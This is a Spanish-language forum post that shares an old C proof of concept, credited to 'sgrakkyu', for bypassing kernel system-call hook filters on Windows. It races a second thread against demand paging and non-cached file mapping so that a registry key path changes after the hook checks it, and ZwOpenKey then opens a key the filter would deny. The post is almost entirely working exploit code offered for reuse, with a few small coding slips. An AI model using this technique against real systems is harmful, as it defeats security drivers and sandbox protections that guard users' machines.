Bueno..esto es un poco viejo..pero quizás a alguien le de alguna idea o le sirva para algo...
coded by: sgrakkyuThis code uses the kernel Demand Paging mechanism together with the Direct I/O mode to bypass one-shot-always the system call wrapper check.
Código: Seleccionar todo
#include <stdio.h>
#include <stdlib.h>
#include <wchar.h>
#include <windows.h>
#include <string.h>
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (WINAPI *_ZwOpenKey)(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef NTSTATUS (WINAPI *_ZwOpenKey)(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
_ZwOpenKey ZwOpenKey;
HANDLE ntdll;
WCHAR GlobalZero[0x10000] = { 0 };
SYSTEM_INFO GlobalInfo;
VOID SetAffinityCPU0(VOID)
{
BOOL ret;
HANDLE hProcess;
DWORD procAffinityMask = 0, sysAffinityMask=0;
hProcess = GetCurrentProcess();
ret = GetProcessAffinityMask(hProcess, &procAffinityMask, &sysAffinityMask);
ret = SetProcessAffinityMask(hProcess, 2);
ret = GetProcessAffinityMask(hProcess, &procAffinityMask, &sysAffinityMask);
CloseHandle(hProcess);
}
BOOL FillFileNoCache(PWSTR filename, PVOID Buff, ULONG BuffSize)
{
HANDLE FileHandleNoCache = INVALID_HANDLE_VALUE;
DWORD written;
DWORD flags = FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH;
BOOL WriteFailure=0;
RtlCopyMemory(GlobalZero, Buff, BuffSize);
__try
{
FileHandleNoCache = CreateFile(filename,
GENERIC_READ |GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
flags,
0);
if(FileHandleNoCache == INVALID_HANDLE_VALUE)
__leave;
WriteFailure = WriteFile(FileHandleNoCache,
GlobalZero,
GlobalInfo.dwAllocationGranularity,
&written,
NULL);
}
__finally
{
CloseHandle(FileHandleNoCache);
}
return WriteFailure;
}
UINT_PTR GetAnonymousMap()
{
HANDLE FileMapping=0;
UINT_PTR LinearMapping=0;
__try
{
FileMapping = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
GlobalInfo.dwAllocationGranularity,
L"");
if(!FileMapping)
__leave;
LinearMapping = (ULONG_PTR)MapViewOfFile(FileMapping,
FILE_MAP_READ| FILE_MAP_WRITE,
0,
0,
GlobalInfo.dwAllocationGranularity);
}
__finally
{
if(!LinearMapping)
{
if(FileMapping)
CloseHandle(FileMapping);
}
}
return LinearMapping;
}
UINT_PTR GetMap(PWSTR filename, UINT_PTR FixedAddr)
{
HANDLE FileHandle = INVALID_HANDLE_VALUE;
HANDLE FileMapping = NULL;
DWORD flags = FILE_ATTRIBUTE_NORMAL;
UINT_PTR LinearMapping = 0;
__try
{
FileHandle = CreateFile(filename,
GENERIC_READ |GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
flags,
0);
if(FileHandle == INVALID_HANDLE_VALUE)
__leave;
FileMapping = CreateFileMapping(FileHandle,
NULL,
PAGE_READWRITE,
0,
GlobalInfo.dwAllocationGranularity,
L"");
if(!FileMapping)
__leave;
LinearMapping = (ULONG_PTR)MapViewOfFileEx(FileMapping,
FILE_MAP_READ| FILE_MAP_WRITE,
0,
0,
GlobalInfo.dwAllocationGranularity,
(PVOID)FixedAddr);
}
__finally
{
if(!LinearMapping)
{
if(FileMapping)
CloseHandle(FileMapping);
if(FileHandle != INVALID_HANDLE_VALUE)
CloseHandle(FileMapping);
}
}
return LinearMapping;
}
BOOL InitGlobals()
{
ntdll = GetModuleHandle(L"ntdll");
if(!ntdll)
return FALSE;
ZwOpenKey = (_ZwOpenKey)GetProcAddress(ntdll, "ZwOpenKey");
if(!ZwOpenKey)
return FALSE;
GetSystemInfo(&GlobalInfo);
SetAffinityCPU0();
return TRUE;
}
#define RANDLEN 6
PWSTR GetFileName(PWCHAR FileName, ULONG ByteSize)
{
INT i,j;
SYSTEMTIME t;
WCHAR CharString[] = {L'0', L'1', L'2', L'3', L'4', L'5', L'6', L'7', L'8', L'9'};
WCHAR Fixed[] = L"Demand";
if(ByteSize < sizeof(Fixed) + RANDLEN*sizeof(WCHAR) + sizeof(WCHAR))
return NULL;
GetLocalTime(&t);
srand(t.wMilliseconds);
for(i = 0; i < t.wSecond; i++)
rand();
RtlZeroMemory(FileName, ByteSize);
wcscat_s(FileName, sizeof(Fixed)/sizeof(WCHAR),Fixed);
for(i = 0, j = wcslen(Fixed); i < RANDLEN; i++, j++)
{
INT idx = rand() % (sizeof(CharString) / sizeof(WCHAR));
FileName[j] = CharString[idx];
}
return FileName;
}
NTSTATUS CallZwOpenKey(PWSTR keystr, USHORT Length, PHANDLE pKeyHandle)
{
OBJECT_ATTRIBUTES obj_attr;
UNICODE_STRING unicode_str;
NTSTATUS NTStatus;
unicode_str.Length = unicode_str.MaximumLength = Length;
unicode_str.Buffer = keystr;
obj_attr.Length = sizeof(OBJECT_ATTRIBUTES);
obj_attr.ObjectName = &unicode_str;
obj_attr.Attributes = 0x40;
obj_attr.RootDirectory = NULL;
obj_attr.SecurityDescriptor = NULL;
obj_attr.SecurityQualityOfService = NULL;
NTStatus = ZwOpenKey(pKeyHandle, KEY_ALL_ACCESS, &obj_attr);
return NTStatus;
}
volatile ULONG GlobalCheck;
ULONG_PTR VirtualMapNoCache, VirtualMapAnonymous, VirtualMapKey;
WCHAR keybuff[] = L"\\Registry\\Machine\\Software\\hookdemo\\test1";
WCHAR keyfakebuff[] = L"\\Registry\\Machine\\Software\\hookfake\\test1";
WCHAR keybufflastkey[] = L"test1";
DWORD WINAPI ShowRaceFunc(LPVOID lpParameter)
{
while(!GlobalCheck);
RtlCopyMemory((PVOID)VirtualMapKey,
keybuff,
wcslen(keybuff)*sizeof(WCHAR) - wcslen(keybufflastkey)*sizeof(WCHAR));
return 0;
}
int main()
{
BOOL result;
NTSTATUS NTStatus;
UINT64 before,after;
WCHAR filename[32];
HANDLE KeyHandle = INVALID_HANDLE_VALUE;
InitGlobals();
GetFileName(filename, sizeof(filename));
result = FillFileNoCache(filename, keybufflastkey, wcslen(keybufflastkey)*sizeof(WCHAR));
VirtualMapAnonymous = GetAnonymousMap();
VirtualMapKey = VirtualMapAnonymous
+ GlobalInfo.dwAllocationGranularity
- wcslen(keyfakebuff)*sizeof(WCHAR)
+ wcslen(keybufflastkey)*sizeof(WCHAR);
RtlCopyMemory((PVOID)VirtualMapKey,
keyfakebuff,
wcslen(keyfakebuff)*sizeof(WCHAR) - wcslen(keybufflastkey)*sizeof(WCHAR));
VirtualMapNoCache = GetMap(filename,
VirtualMapAnonymous+GlobalInfo.dwAllocationGranularity);
CreateThread(NULL, 2048, ShowRaceFunc, NULL, 0, NULL);
Sleep(1000);
before = __rdtsc();
NTStatus = CallZwOpenKey((PVOID)keybuff, wcslen(keybuff)*sizeof(WCHAR), &KeyHandle);
after = __rdtsc();
wprintf(L"TSC Analysis: Before SystemCall = %I64d After SystemCall = %lld [Diff] => %I64d\n",
before,
after,
after-before);
wprintf(L"Called Normally: Key Handle: 0x%x\n\n", KeyHandle);
if(!NTStatus)
{
wprintf(L"Driver Hook Filter not Installed.. Exiting..\n");
return -1;
}
GlobalCheck = TRUE;
before = __rdtsc();
NTStatus = CallZwOpenKey((PVOID)VirtualMapKey, wcslen(keyfakebuff)*sizeof(WCHAR), &KeyHandle);
after = __rdtsc();
GlobalCheck = FALSE;
wprintf(L"TSC Analysis: Before SystemCall = %I64d After SystemCall = %lld [Diff] => %I64d\n",
before,
after,
after-before);
if(!NTStatus)
wprintf(L"Check BypassedRaced: Game Over! KeyHandle: 0x%x\n", KeyHandle);
else
wprintf(L"Check Not Bypassed: Failed! Key Handle: 0x%x\n", KeyHandle);
return 0;
}
Saludos !